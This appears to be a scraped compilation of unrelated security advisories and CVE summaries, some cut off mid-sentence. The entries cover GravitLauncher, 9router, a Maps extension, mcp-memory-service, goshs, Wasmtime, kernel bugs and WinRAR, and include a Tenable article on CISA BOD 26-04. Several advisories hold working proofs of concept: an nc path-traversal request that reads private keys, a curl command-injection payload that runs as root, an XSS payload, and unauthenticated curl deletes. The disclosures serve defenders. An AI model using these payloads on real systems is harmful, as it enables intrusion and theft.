Search: t**n*e**l s.a. c***t**c***a

### Summary An unauthenticated path traversal in the LaunchServer HTTP file server (`FileServerHandler`) lets any remote actor read **any file** readable by the LaunchServer process (e.g. `../../../../etc/passwd`). This is a generic arbitrary-file-read primitive, so the fix must address the traversal itself, not any specific file. The readable files include the server's own secrets, which turns this from information disclosure into full compromise: the ECDSA private key that signs access JWTs (`.keys/ecdsa_id`), the refresh-token salt (`.keys/legacySalt`), and `LaunchServer.json` (database credentials). With the signing key an attacker mints a valid access token for any account, including admins. That is a full authentication bypass. Pre-auth, default config, port 9274. **Affected:** GravitLauncher LaunchServer ≤ 5.7.11 (the LaunchServer application; the published `pro.gravit.launcher:*-api` Maven artifacts do not contain the vulnerable code). ### Details In `FileServerHandler.channelRead0`: ```java path = Paths.get(IOHelper.getPathFromUrlFragment(uri)).normalize().toString().substring(1); // line 194 File file = base.resolve(path).toFile(); // line 200 - no second normalize() ``` `substring(1)` blindly strips a leading slash, assuming the request-target always starts with `/`. Netty's `HttpServerCodec` accepts a request-target **without** a leading slash verbatim (`decoderResult().isSuccess() == true`). For such a target, `normalize()` cannot collapse the leading `..`, `substring(1)` turns `../` into `./` (leaving the remaining `..`), and `base.resolve(path)`, which is not re-normalized, resolves **outside** `updatesDir`. `file.isHidden()` (line 201) is checked only on the final path component, so targets that don't start with a dot (`ecdsa_id`, `rsa_id`, `legacySalt`, `LaunchServer.json`) are served even with `showHiddenFiles=false`. The file server is enabled by default (`netty.fileServerEnabled=true`) and bound to `0.0.0.0:9274`. No auth handler precedes `FileServerHandler`; `WebSocketServerProtocolHandler("/api")` forwards non-WebSocket / non-`/api` requests down to it, so the attack is a plain HTTP GET (no WebSocket). ### PoC Reproduced on a from-source build of v5.7.11 (Netty 4.2.12). **Must use a raw socket.** curl/browsers/HTTP libraries normalize the path and prepend `/`, hitting the safe branch (false "not reproducible"). ``` printf 'GET ../../.keys/ecdsa_id HTTP/1.1\r\nHost: x\r\n\r\n' | nc <host> 9274 ``` Returns the raw ECDSA private-key bytes. Same for `../../.keys/rsa_id`, `../../.keys/legacySalt`, `../../LaunchServer.json`. `%2e%2e/...` (no leading slash) also works. Depth-robust arbitrary read: `../../../../../../etc/passwd`. Control (confirms the root cause): `GET /../../.keys/ecdsa_id` (WITH leading slash) → 404. Only the no-leading-slash form escapes. ### Impact Unauthenticated remote read of any file the process can access. What that exposes: - `.keys/ecdsa_id`: the key that signs access JWTs. With it, an attacker mints a valid token for any account, including admins, so this is a full authentication bypass. - `.keys/legacySalt`: lets an attacker forge refresh tokens. - `LaunchServer.json`: database credentials. - Any other file readable by the process (config, logs, system files). Deployment note: a normalizing L7 reverse proxy (stock nginx `location / { proxy_pass ...; }`) rejects the no-leading-slash request (400) and collapses leading-slash traversal, blocking the primary vector. But the default bind is `0.0.0.0:9274`, so protection relies on firewalling the backend port; L4/TCP proxies (HAProxy TCP, nginx `stream`, CF Spectrum) and direct exposure remain exploitable. ### Suggested fix 1. Re-`normalize()` after `base.resolve(path)` and verify `resolved.startsWith(base)`. 2. Reject request-targets that don't start with `/` (400). 3. Default-bind to `127.0.0.1`; store `.keys` outside `updatesDir`.

# Unauthenticated RCE via `/api/tunnel/tailscale-install` **Affected:** `9router` (npm package) — current master (`v0.4.39`). ### Summary `POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes. ### Details #### 1. Middleware matcher (`src/proxy.js:3-15`) ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ``` Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them. #### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`) ```js export async function POST(request) { const body = await request.json().catch(() => ({})); ... const sudoPassword = body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || ""; ... const result = await installTailscale(sudoPassword, shortId, (msg) => { send("progress", { message: msg }); }); ... } ``` `body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux. #### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`) ```js async function installTailscaleLinux(sudoPassword, log) { log("Downloading install script..."); return new Promise((resolve, reject) => { const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... }); let scriptContent = ""; curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); }); curlChild.on("exit", (code) => { if (code !== 0) return reject(...); log("Running install script..."); const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true }); ... child.stdin.write(`${sudoPassword}\n`); // ← from request body child.stdin.write(scriptContent); child.stdin.end(); }); }); } ``` The byte stream sent to the stdin of the `sudo -S sh` child process is: ``` <sudoPassword from request body>\n <https://tailscale.com/install.sh body> ``` When the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line: 1. The `sudoPassword` value from the request — interpreted as the first shell command. 2. The `install.sh` body — interpreted as subsequent shell input. Appending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user. Both "Docker container running as root" and "`npm i -g 9router` on a host with `NOPASSWD` sudo" reach this path. ### PoC The reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload. **Step 1 — build the target image** ```sh docker build -t 9router-vuln-root - <<'EOF' FROM node:22-bookworm-slim RUN apt-get update && apt-get install -y --no-install-recommends \ sudo curl ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN npm install -g 9router@0.4.39 EXPOSE 20128 CMD ["9router"] EOF ``` **Step 2 — start the target** ```sh docker run -d --rm --name target -p 127.0.0.1:20129:20128 \ 9router-vuln-root 9router --log --skip-update until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done ``` **Step 3 — exploit (one unauthenticated POST)** ```sh curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \ -H 'Content-Type: application/json' \ -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}' ``` **Step 4 — verify** ```sh docker exec target cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root) ``` The trailing `"Tailscale not installed"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh`

## Finding **Location**: `core/src/shared/secure-fetch.ts:33-35` `data:` URIs were allowed without any restriction. While `data:` URIs don't make network requests, they can be used for memory exhaustion via very large data URIs. ## Status **Fixed in v0.2.136** — `data:` URIs are now limited to 1MB. URIs exceeding this limit throw an error.

### Summary Stored XSS through wikitext can be performed by inserting malicious HTML into the `overlays` parameter of the `display_map` parser function when using the leaflet service. ### Details The maps extension doesn't escape overlay names before passing them to leaflet. Leaflet then inserts them as HTML: https://github.com/ProfessionalWiki/Maps/blob/ca5139fabd75f3c34f47ea3fd161306506b053bc/resources/lib/leaflet/leaflet.js#L5243 ### PoC Preview the following wikitext, using the default configuration options of the extension: ``` {{#display_map:0,0|service=leaflet|overlays=OpenTopoMap.<img src=x onerror="alert(1);">}} ``` ### Impact Stored XSS can be performed by any user with the `edit` permission.

## Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete ### Summary All HTTP routes under `/api/documents/*` in `mcp-memory-service` are served without any authentication dependency, even when the server is configured with an API key (`MCP_API_KEY`) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The `/api/memories` counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical. ### Details The `documents.py` router is instantiated without any router-level `dependencies=` parameter and the file does not import `Depends` at all, so no authentication guard is present on any of its routes: - **`src/mcp_memory_service/web/api/documents.py:33`** — `from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks` (`Depends` is absent) - **`src/mcp_memory_service/web/api/documents.py:43`** — `router = APIRouter()` (no `dependencies=` argument) The affected endpoints and their data-flow sinks are: | Route | Line (source) | Sink | Line (sink) | |---|---|---|---| | `POST /upload` | 149 | `storage.store(memory)` | 449 | | `POST /batch-upload` | — | `storage.store(memory)` | — | | `GET /history` | — | upload metadata response | — | | `GET /search-content/{upload_id}` | 729 | memory content response | 781 | | `DELETE /remove/{upload_id}` | — | storage deletion | — | | `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 | The router is mounted in `src/mcp_memory_service/web/app.py:311`: ```python app.include_router(documents_router, prefix="/api/documents") ``` No `CORSMiddleware` or authentication middleware applies to these routes at mount time. By contrast, the equivalent write endpoint in `memories.py` is correctly protected: ```python # src/mcp_memory_service/web/api/memories.py:136 user: AuthenticationResult = Depends(require_write_access) ``` This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all `documents.py` routes. ### PoC **Prerequisites** - Docker installed - Repository cloned at `repo` **Build and run the container** ```bash docker build -t vuln-001-mcp-memory-poc \ -f vuln-001/Dockerfile \ repo docker run -d --name vuln-001-poc-container \ -p 18000:8000 vuln-001-mcp-memory-poc:latest ``` The container starts `mcp-memory-service` with `MCP_API_KEY=poc-secret-key-12345`, simulating a production deployment where the operator has enabled API-key authentication. **Execute the PoC** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345 ``` **Attack chain (6 steps)** ``` [STEP 1] GET /api/memories (no auth) → HTTP 401 ← auth guard is active on memories API [STEP 2] POST /api/memories (with API key) → HTTP 200 ← legitimate user stores sensitive data [STEP 3] GET /api/memories (with API key) → HTTP 200 memories_found=1 ← data confirmed [STEP 4] POST /api/documents/upload (NO auth) → HTTP 200 upload_id=<uuid> ← WRITE bypass [STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200 memories_deleted=1 ← DELETE bypass [STEP 6] GET /api/memories (with API key) → HTTP 200 memories_remaining=0 ← integrity impact confirmed ``` Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request. **Manual curl equivalent** ```bash # Confirm auth guard is active on /api/memories curl -i http://127.0.0.1:18000/api/memories # → 401 Unauthorized # Write through document API — no credentials printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt UPLOAD_ID=$( curl -s -X POST http://127.0.0.1:18000/api/documents/upload \ -F "file=@/tmp/poc.txt" -F "tags=cve-poc" | python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])' ) # → 200 OK sleep 3 curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID" # → content returned without authentication # Delete by tag — no credentials curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \ -H "Content-Type: application/json" -d '["cve-poc"]' # → 200 OK, memories_deleted=1 ``` **Observed output** - `GET /api/memories` (no auth) returns `401` — the authentication guard is demonstrably active on the memories API. - `POST /api/documents/upload` (no auth) returns `200` with a valid `upload_id`. - `DELETE /api/documents/remove-by-tags` (no auth) returns `200` with `memories_deleted=1`. - A subsequent authenticated `GET /api/memories` returns `memories_remaining=0`, confirming that legitimately stored data was destroyed by an unauthenticated request. **Remediation** Add `Depends(require_write_access)` / `Depends(require_read_access)` to ever

# WebDAV listener ignores `--read-only`, `--upload-only`, and `--no-delete` mode flags **Ecosystem:** Go **Package:** `goshs.de/goshs/v2` (`github.com/patrickhener/goshs`) **Affected:** `<= v2.0.9` (every release that ships the WebDAV handler) ## Summary When `goshs` is launched with WebDAV enabled (`-w`), the mode-restriction flags `--read-only`, `--upload-only`, and `--no-delete` are enforced only on the primary HTTP port. The WebDAV port is wired straight to `golang.org/x/net/webdav.Handler` with no equivalent guard, so an authenticated WebDAV client can `PUT`, `DELETE`, `MKCOL`, `MOVE`, and `COPY` despite the operator's stated intent. ## Details [`httpserver/server.go:207-238`](https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/server.go#L207-L238) — the WebDAV mux registers only `IPWhitelistMiddleware`, `ServerHeaderMiddleware`, and optionally `BasicAuthMiddleware`. There is no `fs.ReadOnly || fs.UploadOnly || fs.NoDelete` check on the WebDAV path. The HTTP mux in the same file (lines 134-204) does check these flags on every state-changing route. ## Proof of concept ```bash mkdir -p /tmp/r && echo secret > /tmp/r/x.txt goshs -p 18000 -wp 18001 -w -ro -d /tmp/r -b admin:pw & curl -u admin:pw -X PUT http://localhost:18000/y.txt --data x # 403 (HTTP enforces -ro) curl -u admin:pw -X PUT http://localhost:18001/y.txt --data x # 201 (WebDAV writes anyway) curl -u admin:pw -X DELETE http://localhost:18001/x.txt # 204 (WebDAV deletes anyway) curl -u admin:pw -X MKCOL http://localhost:18001/pwned/ # 201 (WebDAV creates dir) ``` ## Impact - **Integrity** — `--read-only` and `--no-delete` are silently downgraded to "no protection" on the WebDAV port. Any WebDAV client (curl, cadaver, Windows Explorer, Finder) can overwrite/delete files. - **Confidentiality** — `--upload-only` is also bypassed: WebDAV GET/PROPFIND still return file contents. - **Trust** — operators using `goshs -w -ro -d /srv/case-files -b reviewer:pw` to deliver engagement artifacts believe the directory is immutable. It isn't. ## Suggested fix Add a small `http.HandlerFunc` in front of `wdHandler` that maps WebDAV verbs to the existing mode flags: ```go wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodPut, "MKCOL", "MOVE", "COPY": if fs.ReadOnly || fs.UploadOnly { http.Error(w, "read-only", 403); return } case http.MethodDelete: if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, "delete disabled", 403); return } case http.MethodGet, "PROPFIND", "HEAD": if fs.UploadOnly { http.Error(w, "upload-only", 403); return } } wdHandler.ServeHTTP(w, r) }) ``` Add regression tests in `integration/functions.go` covering each mode flag × each WebDAV verb. Reporter: Nishant Verma. Reproduced live against `goshs v2.0.9` (commit `8fc1e91`) on 2026-05-27.

Wasmtime is a runtime for WebAssembly. All versions prior to 24.0.10; versions 25.0.0 through those before 36.0.11; versions 37.0.0 through those before 44.0.3; and versions 45.0.0 and 45.0.1 contain a native implementation of WASIp1 which suffers from a leak in the fd_renumber function where the file descriptor being renumbered to is not properly closed. Wasmtime's implementation erroneously only updated the table of descriptors for WASIp1 and didn't update the underlying table of descriptors used by the host. This behavior means that while fd_renumber works correctly from a guest's perspective it ends up leaking resources in the host that aren't cleaned up until the corresponding Store is destroyed. In a loop, guests can use fd_renumber to cause hosts to exhaust both resources and file descriptors. This bug only affects the native implementation of WASIp1, meaning that only runtimes which load core wasm modules and expose fd_renumber are affected. Runtimes are additionally only affected if they expose the ability to acquire a file descriptor, such as opening a file. For runtimes that deny access to files they are unaffected. This issue has been fixed in versions 24.0.10, 36.0.11, 44.0.3, and 45.0.2.

A vulnerability in the Linux kernel scheduler extension (sched_ext) caused a warning to trigger incorrectly when systemd's user manager modifies its own subtree_control with certain resource controllers enabled. This warning occurs due to a NULL pointer in the cgrp_moving_from field during a specific cgroup migration sequence involving CPU and memory controllers. The issue is a logic mismatch in the kernel's handling of cgroup identity versus css identity during task migration, leading to a benign but noisy warning rather than a functional failure.

A vulnerability in the Linux kernel debugobjects subsystem could cause a deadlock during early boot on ARM64 systems running a debug PREEMPT_RT kernel. The issue arises because interrupts can fire before the scheduler is enabled, leading to a lockdep warning and potential deadlock when fill_pool() is called in hard interrupt context. The vulnerability has been resolved by adding a helper to prevent pool filling in this context.

A vulnerability in the Linux kernel's drm/virtio driver was fixed, addressing a crash caused by accessing uninitialized data when the virtio-gpu driver is built with disabled Kernel Mode Setting (KMS). This issue occurs during driver removal or unbinding. The fix involves skipping the shutdown of the atomic core when KMS is unavailable.

This vulnerability in the Linux kernel's KVM subsystem involves a WARN triggered when memory is dirtied without a running vCPU while the VM is dying. The issue arises because KVM complains about dirtying guest memory without a loaded vCPU only if the VM is still alive. The fix prevents false positive WARNs during VM destruction, particularly for x86 SEV-ES guests, and addresses a memory leak without impacting the correctness of dirty page tracking.

An out-of-bounds heap write exists in the RAR5 recovery-volume (.rev) parser in WinRAR and UnRAR (RecVolumes5::ReadHeader in recvol5.cpp). The RecItems vector is sized only when the first .rev file in a set is processed; subsequent .rev files supply an independent RecNum value that is validated against that file's own TotalCount field but never against the actual size of RecItems. A crafted set of two or more .rev files can therefore write an attacker-controlled 32-bit value (the header's RevCRC field) to RecItems[RecNum] at an attacker-controlled offset up to 65534 * sizeof(RecVolItem) bytes past the allocation, corrupting adjacent heap objects. Triggering requires the victim to run a recovery/test operation on an attacker-supplied .rev set (for example 'unrar t x.part1.rev', WinRAR 'Repair archive', or auto-recovery when extracting a volume set with a missing .rar part). This is the RAR5-path sibling of CVE-2023-40477 (which was fixed in the RAR3 path only in WinRAR 6.23). Fixed in WinRAR / RAR 7.23.

CISA’s BOD 26-04 changes how federal agencies patch and how security leaders must measure, justify, and communicate cyber risk to executives and boards. Key takeaways BOD 26-04 requires agencies to make and defend risk-based vulnerability prioritization decisions, including decisions to defer vulnerability remediation. This accountability requirement transforms vulnerability management from a technical operation into a governance discipline that demands audit-ready documentation. Traditional vulnerability management KPIs (total vulnerabilities patched, mean time to patch, percentage of systems scanned) do not measure what BOD 26-04 demands. The metrics that matter are coverage breadth and risk-tier remediation rates. Tenable’s analysis of customer telemetry shows that monitoring coverage breadth is a stronger predictor of risk posture than patch speed, a finding independently corroborated by research showing organizations can remediate only about 10% of open vulnerabilities per month regardless of size or maturity. The directive’s reach extends beyond federal agencies to thousands of federal contractors who must align with BOD 26-04 through contract compliance requirements. Organizations in the federal supply chain should treat the directive as an operational requirement, not advisory guidance. The shift from patching metrics to risk exposure metrics is not a federal-only phenomenon. Industry reporting standards, insurance underwriting models, and board-level accountability expectations are converging on the same demand: prove that you are reducing actual risk, not just closing tickets. The reporting mandate hiding inside CISA Binding Operational Directive (BOD) 26-04 Most coverage of CISA BOD 26-04 has focused on the operational requirements: the four-variable model, the 16-tier remediation matrix, the three-day BOD 26-04 patching timeline with mandatory forensic triage. These are significant, and Tenable has covered them in depth in our FAQ on BOD 26-04 . But buried in the directive’s requirements is a less-discussed obligation that may prove equally transformative: agencies must demonstrate how they prioritize vulnerabilities and justify their decisions, particularly in cases where they decide to defer remediation. Metrics are expected to evolve from simple counts of patched vulnerabilities to measures that reflect reduction in high-risk exposure. This is not a minor procedural update. It is a fundamental shift in how cybersecurity programs are measured, reported, and held accountable. For CISOs and security leaders, BOD 26-04 doesn’t just change the patching workflow. While the BOD 26-04 directive formally targets federal agencies, its framework is rapidly becoming the blueprint for the private sector as market forces align around risk-based accountability. Ultimately, it changes what corporate boards of directors need to hear. Why traditional vulnerability management metrics fail under BOD 26-04 For years, security leaders have measured vulnerability management programs by volume: Total vulnerabilities identified Total patches applied Percentage of systems scanned within a 30-day window Mean time to remediate. These metrics are easy to collect, easy to report, and easy to trend over time, but they are also increasingly disconnected from actual risk. Tenable’s own analysis of customer telemetry across our global customer base confirms what many security leaders suspect but cannot prove: breadth of monitoring coverage is a more robust, predictive risk signal than patch velocity. Unmonitored assets exist as a permanently open attack surface; they cannot generate findings, be prioritized, or be verified as remediated. Conversely, monitored assets still pass through the risk pipeline even if remediation isn’t operating at maximum speed. Independent industry research heavily corroborates the need to shift reporting from patching speed to monitoring coverage: The remediation ceiling - The Cyentia Institute’s Prioritization to Prediction research (analyzing 3.6 billion vulnerability observations) found that the typical organization can only remediate roughly 10% of open vulnerabilities per month, regardless of size, industry, or maturity. Because you cannot out-patch the growth rate of your backlog, prioritization, not speed, is the only lever that meaningfully reduces risk. The MTTR flaw - Standard mean-time-to-remediate (MTTR) calculations exclude open, unremediated vulnerabilities, which skews your metrics toward items that are easier to close quickly, which may not be the most critical, severe, or highest-risk issues. Asset composition skew - Remediation half-lives vary wildly across asset types, averaging 36 days for Microsoft Windows systems versus 369 days for network appliances. A strong MTTR often just means you have good visibility into automatically patching Windows assets, but this KPI may hide persistent exposure on edge devices and OT systems. BOD 26-04 makes this explicit: remediation priority is determined by the risk posed by a vulnerability if exploited, not by the total number of vulnerabilities identified. The directive’s deferral tier (fix on system upgrade) formalizes what the data has always shown: most vulnerabilities can wait. The ones that cannot are defined by exploitation evidence, exposure, automation potential, and impact severity. A CISO who reports, “We patched 95% of critical CVEs this quarter,” is reporting a metric that BOD 26-04 has rendered insufficient. The relevant question is: Of the vulnerabilities that posed real-world risk to mission-critical systems, what percentage did we remediate within the directive’s timeline, and how much of our attack surface was under observation when we made that assessment? The new security metrics: What BOD 26-04 demands The shift from volume-based to risk-based reporting requires new KPIs. Organizations implementing BOD 26-04 should consider metrics that reflect the directive’s four-variable prioritization model: Remediation compliance by BOD tier. What percentage of vulnerabilities in each BOD tier (three-day forensic triage, three-day, 14-day, 60-day, system upgrade) are remediated within the applicable timeline? This is the core compliance metric. It replaces “mean time to remediate” with a risk-weighted measurement that distinguishes between a 3-day critical and a deferrable low-risk finding. Coverage of actively exploited vulnerabilities. What percentage of KEV -listed vulnerabilities in the environment are remediated? This measures the response to the most dangerous known threats, not the total vulnerability population. Exposure surface reduction over time. What is the trend in assets classified as publicly exposed (BOD Variable 1)? Reducing the number of internet-facing assets directly shifts vulnerabilities from compressed timelines to the deferral tier. Tenable’s analysis of the full CISA Vulnrichment corpus found that removing an asset from public exposure can shift 76.7% of its associated CVEs to longer remediation windows. This makes exposure reduction the single highest-leverage compliance investment. Additional independent research reinforces why assessment coverage is a better indicator of risk outcomes than patch velocity. Joint analysis from XM Cyber and the Cyentia Institute, examining more than 60 million exposures across 10 million entities, found that 75% of security exposures do not put critical assets at risk: they are dead ends in the attack graph. Only 2% of exposures sit on “choke points,” the convergence nodes through which multiple attack paths transit en route to critical assets. This corroborates Tenable’s telemetry finding from a different angle: if your monitoring does not cover the entities where those choke points exist, your remediation speed on the other 98% is noise in the risk signal. The metric that matters is not how fast you patch, but whether your visibility extends to the places where attack paths converge. Forensic triage completion rate. For vulnerabilities in the highest-risk tier (KEV + total control), what percentage received the required BOD 26-04 forensic triage guidelines within the three-day window? This measures compliance with the directive’s most novel and operationally demanding requirement. Deferral justification documentation rate. For vulnerabilities placed in the “fix on system upgrade” tier, what percentage have documented risk acceptance decisions? BOD 26-04 requires agencies to justify deferral decisions, which means every deferred vulnerability needs an auditable rationale. Mean time from KEV addition to remediation. How quickly does the organization respond when a CVE is added to the KEV catalog and its BOD timeline compresses? This measures the speed of the organization’s response to dynamic timeline changes. These metrics share a common characteristic: they measure risk reduction outcomes, not activity volume. A security program that patches fewer total vulnerabilities but remediates 100% of the 3-day tier within three days is performing better under BOD 26-04 than one that patches twice as many total CVEs but misses the critical timelines. The accountability requirement: Justifying decisions to defer vulnerability remediation BOD 26-04 introduces something federal vulnerability management has never had: a formal requirement to justify prioritization decisions. When an agency defers remediating a vulnerability to the next system upgrade cycle, that decision must be documented and defensible. This creates an audit trail requirement. For every deferred vulnerability, the organization needs to demonstrate: Which of the four variables were assessed What combination placed the vulnerability in the deferral tier Why the agency is confident the deferral does not create unacceptable risk If any of the four variables change (a CVE added to the KEV, an asset newly exposed to the internet), the deferral decision must be reassessed. For CISOs, this means the vulnerability management pro

The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.9.9.5. This is due to the plugin not validating a `user_login` on registration forms that don't contain this parameter, and not properly handling the error messages. This makes it possible for unauthenticated attackers to change email address of user account with ID=1 (usually an administrator), and leverage that to reset the user's password and gain access to their account.

This update for the SUSE Linux Enterprise Kernel 6.12.0-160000.30.1 fixes various security issues The following security issues were fixed: - CVE-2026-31402: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache (bsc#1261640). - CVE-2026-31504: net: fix fanout UAF in packet_release() via NETDEV_UP race (bsc#1263088). - CVE-2026-31554: futex: Require sys_futex_requeue() to have identical flags (bsc#1263108). - CVE-2026-31694: fuse: reject oversized dirents in page cache (bsc#1263902). - CVE-2026-43503: final dirty.frag related fixes (bsc#1266229). - CVE-2026-46323: net: gro: don't merge zcopy skbs (bsc#1268282). - net/sched: fix pedit partial COW leading to page cache (bsc#1267625).